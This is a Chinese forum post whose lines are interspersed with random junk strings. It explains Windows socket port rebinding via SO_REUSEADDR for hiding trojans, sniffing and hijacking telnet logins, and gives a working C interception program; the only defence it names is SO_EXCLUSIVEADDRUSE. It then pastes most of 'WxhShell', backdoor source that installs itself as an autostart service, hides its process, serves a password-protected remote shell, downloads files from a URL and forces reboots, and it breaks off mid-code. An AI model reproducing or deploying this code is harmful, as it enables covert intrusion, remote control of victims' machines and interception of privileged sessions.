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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Le,;)Nd  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wX <ov0?[  
tU>7 jo[-p  
  saddr.sin_family = AF_INET; Oz "_KMz  
="AaC!E,W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); N~?(<DyZR  
OhM_{]*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Tv|i CYB?  
{T0Au{88H  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 lj+&3<E  
'HL.W](  
  这意味着什么?意味着可以进行如下的攻击: {rygIl{V  
'+*'sQvH[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 x}{O9LiR  
o}52Qio  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c68,,rJO]i  
i\#?M  "  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X3~@U7DU  
L;6{0b58 $  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [?XP[h gd  
f'Oj01[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9j 0o)]  
<uo@k'   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /8"rCh|m-  
}z2[w@M  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /#?! 9c  
o Z%oP V:  
  #include Pa?C-Xn^  
  #include meGL T/   
  #include CWb*bw0  
  #include    /HdjPxH  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^#4<~zU  
  int main() on1B~?*D  
  { 3A.lS+P1  
  WORD wVersionRequested; :+8qtIytKX  
  DWORD ret; {?r5~ T`2  
  WSADATA wsaData; `1lGAKv  
  BOOL val; uu/2C \n}  
  SOCKADDR_IN saddr; !';;q  
  SOCKADDR_IN scaddr; ( yB]$  
  int err; ,Z8)DC=  
  SOCKET s; \]3[Xw-$  
  SOCKET sc;  LYyud  
  int caddsize; .F/s (  
  HANDLE mt; %kP=VUXj  
  DWORD tid;   F><ficT  
  wVersionRequested = MAKEWORD( 2, 2 ); ` :Oje  
  err = WSAStartup( wVersionRequested, &wsaData ); Ian+0 ?`e  
  if ( err != 0 ) { yIWgC[  
  printf("error!WSAStartup failed!\n"); %Vk77(  
  return -1; WM ]eb, 8q  
  } 8KsPAK_  
  saddr.sin_family = AF_INET; !bCaDTz  
   h&rZR`g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q9&H/]"v  
%Y9CZRY 9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vX&W;&  
  saddr.sin_port = htons(23); x]IJ;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gOm8 O,  
  { {/qQ=$t  
  printf("error!socket failed!\n"); c IPOI'3d  
  return -1; a.a ,_  
  } P#[?Kfi  
  val = TRUE; >.uIp4@(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 wVc ^l  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y<c7RK]  
  { 3`Xzp  
  printf("error!setsockopt failed!\n"); aYc^ 9*7  
  return -1; !.499H3  
  } !1Ht{cA0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wEQZ9?\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 HumL(S'm  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?}(B8^  
%8xKBL]J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {HFx+<JG  
  { Y+5aT(6O  
  ret=GetLastError(); bGxHzzU}  
  printf("error!bind failed!\n"); D&qJ@PR  
  return -1; oqzWL~  
  } \mWH8Z }Z  
  listen(s,2); ]Qe"S>,?`  
  while(1) o/& IT(v  
  { Lb{.}  
  caddsize = sizeof(scaddr); *&hbfsP:  
  //接受连接请求 5kojh _\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wVX2.D'n<  
  if(sc!=INVALID_SOCKET) r;+a%?P  
  { AHHV\r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3PlIn0+LX  
  if(mt==NULL) ?%n"{k?#  
  { oVW>PEgB-  
  printf("Thread Creat Failed!\n"); .Ad9(s  
  break; -lR7 @S  
  } *Rxn3tR7  
  } Rr}m(e=  
  CloseHandle(mt); gMp' S  
  } 3 rR1/\  
  closesocket(s); `$q0fTz  
  WSACleanup(); qqys`.  
  return 0; 7y_<BCx h  
  }   \ _?d?:#RD  
  DWORD WINAPI ClientThread(LPVOID lpParam) T1'\!6_5  
  { ,5AEtoF  
  SOCKET ss = (SOCKET)lpParam; -aV( 6i*n  
  SOCKET sc; Q 9E.AN  
  unsigned char buf[4096]; $EzWUt  
  SOCKADDR_IN saddr; {d.K)8\  
  long num; 9!.S9[[N  
  DWORD val; WpRM|"CF  
  DWORD ret; <~S]jtL.j:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >]uu?!PU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   dN7.W   
  saddr.sin_family = AF_INET; '*Ld,`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); mA@!t>=oMq  
  saddr.sin_port = htons(23); kI2+&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ae](=OQ  
  { '8(UiB5d  
  printf("error!socket failed!\n"); /rky  
  return -1; :zNNtv iA  
  } A 6 `a  
  val = 100; cIcu=U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ul}<@d9: B  
  { O0 $V+fE  
  ret = GetLastError(); T\bpeky~  
  return -1; 2'-84  
  } 5>ktr)]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F!p;]B  
  { cDK)zD  
  ret = GetLastError(); ?Iq{6O>D.  
  return -1; 6YV"H  
  } N(2M  w:}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %F^,6y  
  {  +cKOIMu9  
  printf("error!socket connect failed!\n"); (/s~L*gF{  
  closesocket(sc); kt=& mq/B  
  closesocket(ss); ^a Q&.q  
  return -1; &I%E8E  
  } }D.\2x(J  
  while(1) X5)(,036  
  { Kr;=4xg=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 FZIC |uz  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 N;k)>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <lLJf8OK  
  num = recv(ss,buf,4096,0); M?GkHJ%!  
  if(num>0) ia3!&rZ  
  send(sc,buf,num,0); z^s\&gix  
  else if(num==0) USS%T<Vk  
  break; X *:,|  
  num = recv(sc,buf,4096,0); WW2hwB (  
  if(num>0) i0J`{PbI  
  send(ss,buf,num,0); :,g]Om^  
  else if(num==0) sZEa8  
  break; S _ UAz  
  } dZI["FeO&d  
  closesocket(ss); 67 ~pn  
  closesocket(sc); *u",-n  
  return 0 ; c?REDj2  
  } uGm?e]7Hx<  
FFN Sn  
[;4;. V  
========================================================== M'F<1(  
c{KJNH%7  
下边附上一个代码,,WXhSHELL [J(b"c6  
YD0hDp  
========================================================== !l Egta[Ql  
\ 9iiS(e  
#include "stdafx.h" 5G$ ,2i(  
Tj{3#?]Ho  
#include <stdio.h> .wyuB;:  
#include <string.h> t\TxK7i  
#include <windows.h> El: @l %  
#include <winsock2.h> &flRrJ  
#include <winsvc.h> EU04U  
#include <urlmon.h> #TC}paIpj  
|\/\FK]?]  
#pragma comment (lib, "Ws2_32.lib") =8%*Rrj^  
#pragma comment (lib, "urlmon.lib") jA[Ir3  
>EZZEd   
#define MAX_USER   100 // 最大客户端连接数 - ZyY95E<  
#define BUF_SOCK   200 // sock buffer xplV6q`  
#define KEY_BUFF   255 // 输入 buffer Wq"-T.i  
]f&f_"D  
#define REBOOT     0   // 重启 MLg{Y?@  
#define SHUTDOWN   1   // 关机 _[-W*,xJ)  
kytHOn#  
#define DEF_PORT   5000 // 监听端口 C'R6mz%Q?  
|0?v4%g  
#define REG_LEN     16   // 注册表键长度 ]61HQ  
#define SVC_LEN     80   // NT服务名长度 3D1y^I  
ts}OE  
// 从dll定义API A*A/30o|R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3vjOfr`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xUCq%r_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DdU w~n,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *?]<=IV?  
c b&Yf1  
// wxhshell配置信息 xI~A Z:m  
struct WSCFG { }P-C-L{yE(  
  int ws_port;         // 监听端口 {@3v$W~7M  
  char ws_passstr[REG_LEN]; // 口令 8lGM>(:o  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,<)D3K<  
  char ws_regname[REG_LEN]; // 注册表键名 L F} d  
  char ws_svcname[REG_LEN]; // 服务名 EtaKo}!A}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ! K_<hNG&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E_DQ.!U!o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 odC"#Rb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yT5OFD|T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yU4mS;GX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }.Z `   
/BD'{tZ]Sl  
}; gIusp917  
0@{0#W3R  
// default Wxhshell configuration @rDBK] V  
struct WSCFG wscfg={DEF_PORT, k0#s{<I]E  
    "xuhuanlingzhe", h]+;"v6 /  
    1, LHXR7Fjc  
    "Wxhshell", i/H;4#Bz  
    "Wxhshell", H(P]Z~et  
            "WxhShell Service", >]xW{71F@  
    "Wrsky Windows CmdShell Service", hITYBPqRO  
    "Please Input Your Password: ", 1 ] cLbJ  
  1, .4tu{\YX  
  "http://www.wrsky.com/wxhshell.exe", P:N> #G~z  
  "Wxhshell.exe" FfrC/"N  
    }; t[|t0y8  
<hiv8/)?  
// 消息定义模块 ViMl{3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aq8./^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _aF8Us  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D,[Nn_N  
char *msg_ws_ext="\n\rExit."; ]'M B3@T  
char *msg_ws_end="\n\rQuit."; UcOP 0_/  
char *msg_ws_boot="\n\rReboot..."; +,AzxP _y  
char *msg_ws_poff="\n\rShutdown..."; 8ih_S2Cd  
char *msg_ws_down="\n\rSave to "; D7JrGaF{  
:KA)4[#;W  
char *msg_ws_err="\n\rErr!"; ) \TH'  
char *msg_ws_ok="\n\rOK!"; oz)4YBf  
sgGA0af  
char ExeFile[MAX_PATH]; a0gg<Ml  
int nUser = 0;  ;<B  
HANDLE handles[MAX_USER]; Wf"GA i  
int OsIsNt; OKK Ko`RN  
D4|Ajeo;1  
SERVICE_STATUS       serviceStatus; /4 OmnE;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "~._G5i.  
9_iwikD  
// 函数声明 wWfj#IB;R  
int Install(void); q5=,\S3=  
int Uninstall(void); ]1Wxa?  
int DownloadFile(char *sURL, SOCKET wsh); zrG  
int Boot(int flag); VPuR4 p.  
void HideProc(void); CfP-oFHoQ  
int GetOsVer(void); naH(lz|v  
int Wxhshell(SOCKET wsl); %.r \P@7/Q  
void TalkWithClient(void *cs); DB-79U%W  
int CmdShell(SOCKET sock); .5o~^  
int StartFromService(void); -3v\ c~  
int StartWxhshell(LPSTR lpCmdLine); 5N%d Les  
6Aq]I$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GD]epr%V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b @0= &4  
3di;lzGq  
// 数据结构和表定义 0XCAnMVo  
SERVICE_TABLE_ENTRY DispatchTable[] = 6QbDU[  
{ LjE3|+pJ  
{wscfg.ws_svcname, NTServiceMain}, G?=&\fg_:  
{NULL, NULL} jll:Rh(b  
}; ,>7dIJqzw  
3*2~#dh=  
// 自我安装 :r hB=  
int Install(void) 9T5 F0?qd  
{ rTR"\u7&H  
  char svExeFile[MAX_PATH]; KCw  
  HKEY key; *AW v  
  strcpy(svExeFile,ExeFile); fW+ "Kuw  
{d;z3AB  
// 如果是win9x系统,修改注册表设为自启动 a{Y|`*7y  
if(!OsIsNt) { 3en6 7l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~mXzQ be p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d~%7A5  
  RegCloseKey(key); U&u63 56  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VrP{U-`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8tQL$CbO  
  RegCloseKey(key); <nD@4J-A0  
  return 0; [~ 2m*Q  
    } x[0hY0 ?[M  
  } #&?ER]|3  
} =FV(m S  
else { tlUh8os  
7<MEMNYX  
// 如果是NT以上系统,安装为系统服务 d 94k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Kc2y  
if (schSCManager!=0) gDLS)4^w  
{ f7\X3v2W}3  
  SC_HANDLE schService = CreateService O!f37n-TB  
  ( 4c 8{AZ  
  schSCManager, %sOY:>  
  wscfg.ws_svcname, RH<2f5-sC!  
  wscfg.ws_svcdisp, M.}J SDt  
  SERVICE_ALL_ACCESS, `vAcCahM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rDbtT*vN  
  SERVICE_AUTO_START, Gg ~0>XS  
  SERVICE_ERROR_NORMAL, 1uj~/M  
  svExeFile, p<L{e~{!7f  
  NULL, MQx1|>rG  
  NULL, gMF6f%  
  NULL, [1kQ-Ko`  
  NULL, ;5[ OS8  
  NULL XWS]4MB+vm  
  ); |TM n  
  if (schService!=0) d/OP+yzgZ  
  { e3TKQ (  
  CloseServiceHandle(schService); saiXFM 7J  
  CloseServiceHandle(schSCManager); 3w"JzC@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DMG'8\5C  
  strcat(svExeFile,wscfg.ws_svcname); .Vnb+o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RIXeV*ix  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |6bvUFr  
  RegCloseKey(key); oj Y.6w  
  return 0; l+P!I{n  
    } b)KEB9w  
  } ?rQ .nN  
  CloseServiceHandle(schSCManager); tB~#;:g  
} eg}g} a  
} Z+y'w#MZL  
a dr\l5pWQ  
return 1; iD|~$<9o  
} '%ilF1#  
~^a>C  
// 自我卸载 T[1iZ  
int Uninstall(void) (:OMt2{r  
{ *1kFy_Gx  
  HKEY key; aHuMm&  
Qw2-Vv4!"  
if(!OsIsNt) { jGz~}&B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l9Ol|Cb&  
  RegDeleteValue(key,wscfg.ws_regname); w ods   
  RegCloseKey(key); /KOI%x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u_' -vZ_  
  RegDeleteValue(key,wscfg.ws_regname); t*H2;|zn_  
  RegCloseKey(key); ;6pB7N  
  return 0; ):>?N`{V  
  } "Ux(nt  
} i@?|vu  
} 6}I X{nQI  
else { EniV-Uj\D  
7<e}5nA/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &-Ch>:[  
if (schSCManager!=0) Uvm.|p_V  
{ I@Hx LEGj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1] =X  
  if (schService!=0) N~=PecQ  
  { 0*5Jq#5  
  if(DeleteService(schService)!=0) { -F`GZ  
  CloseServiceHandle(schService); 2yn"K|  
  CloseServiceHandle(schSCManager); |\uj(|  
  return 0; <dP \vLH_  
  } i;C` .+  
  CloseServiceHandle(schService); ef '?O  
  } zX*5yNd  
  CloseServiceHandle(schSCManager); _`;KmD&5  
} `dV2\^*A  
} Ot-P J i  
o[_,r]%+D  
return 1; Oo; ]j)z  
} X\Zan$oi  
K\%\p$ZD  
// 从指定url下载文件 j3-o}6  
int DownloadFile(char *sURL, SOCKET wsh) ed',\+.uB  
{ PZqp;!:xz  
  HRESULT hr; ~$K{E[^<  
char seps[]= "/"; DL4`j>2Ov  
char *token; BuRsz6n  
char *file; _h ^.`Tz,  
char myURL[MAX_PATH]; @H#Fzoo.  
char myFILE[MAX_PATH]; ,}'8. f  
oH0g>E;  
strcpy(myURL,sURL); jnOnV1I"  
  token=strtok(myURL,seps); Lw[=pe0e  
  while(token!=NULL) GNv{ Ij<  
  { Cscu   
    file=token; %8u9:Cl):  
  token=strtok(NULL,seps); #2U#h-vI  
  } n4dNGp7\`  
H}~K51  
GetCurrentDirectory(MAX_PATH,myFILE); *Oy* \cX2[  
strcat(myFILE, "\\"); 0;><@{'  
strcat(myFILE, file); Za!KM  
  send(wsh,myFILE,strlen(myFILE),0); `mteU"{bx  
send(wsh,"...",3,0); 3>7{Q_5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); auAz>6L  
  if(hr==S_OK) k;cX,*DIn  
return 0; 2#5Q~  
else _J,rql@nG<  
return 1; .qohHJ&  
na $MR3@e  
} Xn=yC Pi  
2_u+&7  
// 系统电源模块 Z ;rM@x  
int Boot(int flag) H*k\C  
{ KH?6O%d  
  HANDLE hToken; PRiE2Di2S  
  TOKEN_PRIVILEGES tkp; kZ@UQ{>`  
wg0_J<y]  
  if(OsIsNt) { 4_VgJ9@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5&p}^hS5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q3hf =&$  
    tkp.PrivilegeCount = 1; *GXPN0^Qjo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9F 3,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x1g-@{8]j  
if(flag==REBOOT) { -j<E_!t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &_:9.I 1  
  return 0; p:n l4O/  
} z{Yfiv\-r  
else { 8Pd9&/Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p%*s3E1.D  
  return 0; Sw E7U~  
} X);'[/]E*  
  } SW}Rkr\e  
  else { /_J{JGp9  
if(flag==REBOOT) { rWJ5C\R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o?/H<k\5  
  return 0; {jYVA~.|Z  
} B<BS^waU  
else { 0/DO"pnL@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ng;?hTw  
  return 0; 6X A(<1P  
} =gSc{ i|  
} REU&8J@k&?  
VOr: G85*s  
return 1; ~tfd9,t  
} 3s%DF,  
d:>^]5cE&  
// win9x进程隐藏模块 U 5j4iz'  
void HideProc(void) FY Flh^}  
{ >%`SXB& 9  
FXT^r3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q)?!]|pZ  
  if ( hKernel != NULL ) (|AZO!  
  { Jf= V<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ENqZ=Lyq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %pxJ27Q  
    FreeLibrary(hKernel); rlh:| #GTJ  
  } y-H9fWi8Y&  
EZiLXQd_  
return; `,~'T [  
} \(Nx)F  
j<!dpt  
// 获取操作系统版本 a Tm R~k  
int GetOsVer(void) ML|?H1m>  
{ UZFs ]z!,k  
  OSVERSIONINFO winfo; $2*_7_Qb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O95gdxc  
  GetVersionEx(&winfo); aKW-(5<JW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :D3:`P>,c  
  return 1;  1hi  
  else /8]K}yvR  
  return 0; -32P}58R  
} '")'h  
`"ks0@^U  
// 客户端句柄模块 6FUcg40Y  
int Wxhshell(SOCKET wsl) p8j4Tc5tQ>  
{ M]Vi]s  
  SOCKET wsh; NL|c5y<r  
  struct sockaddr_in client; 7P2(q  
  DWORD myID; p9G+la~;VM  
Zp[>[1@+  
  while(nUser<MAX_USER) Ii}{{1N6  
{ go=xx.WJ  
  int nSize=sizeof(client); yR{rje*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ul_E{v  
  if(wsh==INVALID_SOCKET) return 1; *"_W1}^  
pLF,rOb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'W9[Vm  
if(handles[nUser]==0) qF(i1#  
  closesocket(wsh); sd+_NtH  
else =pmG.>Si  
  nUser++; 4s%zvRu  
  } vCt][WX(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E|-5=!]fX  
nnBS;5  
  return 0; hFycSu  
} ~~&Bp_9QXN  
$D65&R  
// 关闭 socket bYQ@!  
void CloseIt(SOCKET wsh) w#a`k9y  
{ *B@#A4f"  
closesocket(wsh); 1Z_w2D*  
nUser--; QhTn9S:D  
ExitThread(0); t5b c Q@Y  
} 5ad@}7&  
_-{=Z=?6}  
// 客户端请求句柄 1+3-Z>^e  
void TalkWithClient(void *cs) 3TjyKB *!  
{ DU,B  
; m |N 9'  
  SOCKET wsh=(SOCKET)cs; kc$W"J@  
  char pwd[SVC_LEN]; +|GHbwvp  
  char cmd[KEY_BUFF]; b(U5n"cdA  
char chr[1]; wO!>kc<  
int i,j; Av n-Ug  
QYDI-<.(  
  while (nUser < MAX_USER) { p;, V  
ZB$yEW]]~  
if(wscfg.ws_passstr) { 6IK>v*<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z?[ R;V1j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u&={hJ&7  
  //ZeroMemory(pwd,KEY_BUFF); >_]Ov:5  
      i=0; PmsZ=FY  
  while(i<SVC_LEN) { 1xkk5\3]  
9+ve0P7$  
  // 设置超时 Sa)L=5Nr  
  fd_set FdRead; P^Og(F8;  
  struct timeval TimeOut; B/Q>i'e  
  FD_ZERO(&FdRead); e$ QMR.'  
  FD_SET(wsh,&FdRead); =7kn1G.(  
  TimeOut.tv_sec=8; .& bc3cW  
  TimeOut.tv_usec=0; o:5mgf7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PQF 40g1}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,f ?B((l  
7,?ai6{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kAUL7_>6X  
  pwd=chr[0]; JB5%\   
  if(chr[0]==0xd || chr[0]==0xa) { Ssir?ZUm   
  pwd=0; peS4<MqWu  
  break; 9ec#'i=  
  } 753gcY#i  
  i++; aRn""3[  
    } t=:5?}J.Q$  
SMB&sl  
  // 如果是非法用户,关闭 socket  0RCp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &Nr+- $  
} j)Q}5M  
* >NML]#0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {=!BzNMj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^^uY)AL  
6 P(jc  
while(1) { ) .V,zmI  
X?r$o>db  
  ZeroMemory(cmd,KEY_BUFF); e&(Wn2)o  
KF#qz2S  
      // 自动支持客户端 telnet标准   if1)AE-  
  j=0; .hf%L1N%F  
  while(j<KEY_BUFF) { 06pY10<>X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nC$ c.K'  
  cmd[j]=chr[0]; RcR-sbR  
  if(chr[0]==0xa || chr[0]==0xd) { D&N3LH  
  cmd[j]=0; vgNrHq&2q  
  break; h^WMv *2  
  } ]w-W  
  j++; PK{FQ3b2{  
    } )P+<=8@a  
#MMp0  
  // 下载文件 1!+0]_8K  
  if(strstr(cmd,"http://")) { 3$_- 0>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X,8Zn06M  
  if(DownloadFile(cmd,wsh)) _-v$fDrz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  SBi4i;qD  
  else (o\D=!a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1]8Hpd  
  } b'/:e#F  
  else { JAwEu79sh  
`i~J0#P  
    switch(cmd[0]) { `09[25?  
  eXLdb-  
  // 帮助 xo-}t5w6t  
  case '?': { 5Tidb$L;Du  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fo9V&NE  
    break; `J{{E,y @  
  } h,fahbH -  
  // 安装 }U%E-:  
  case 'i': { `B3YP1  
    if(Install()) us:v/WTQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); op&j4R  
    else S!R (ae^}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `X =[ m>  
    break; +).=}.k  
    } >k}Kf1I  
  // 卸载 }g2l ni  
  case 'r': { tM:$H6m/(  
    if(Uninstall()) S =sL:FC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZM=eiJZ  
    else hJ8B&u(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .b2%n;_>.  
    break; pBu}c<  
    } ~dsx|G?p  
  // 显示 wxhshell 所在路径 [H`5mY@  
  case 'p': { ${t$:0R,h  
    char svExeFile[MAX_PATH]; ]jmZ5h#[  
    strcpy(svExeFile,"\n\r"); _Mh..#)`[  
      strcat(svExeFile,ExeFile); =k!F`H`/%'  
        send(wsh,svExeFile,strlen(svExeFile),0); 2:[G4  
    break; Sc]h^B^7  
    } f[OJ qk  
  // 重启 FT gt$I  
  case 'b': {  )Z:maz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OtT*)8*c  
    if(Boot(REBOOT)) aMgg[g9>t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eQ#"-i  
    else { LXc;`]  
    closesocket(wsh); _UF'Cf+Y  
    ExitThread(0); kRiZ6mn  
    } ar`}+2Qh0  
    break; 2m&?t_W  
    } /w*HxtwFmD  
  // 关机 eX^ F^(   
  case 'd': { M!PK3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  t|:XSJ9  
    if(Boot(SHUTDOWN)) Fow{-cs_p  
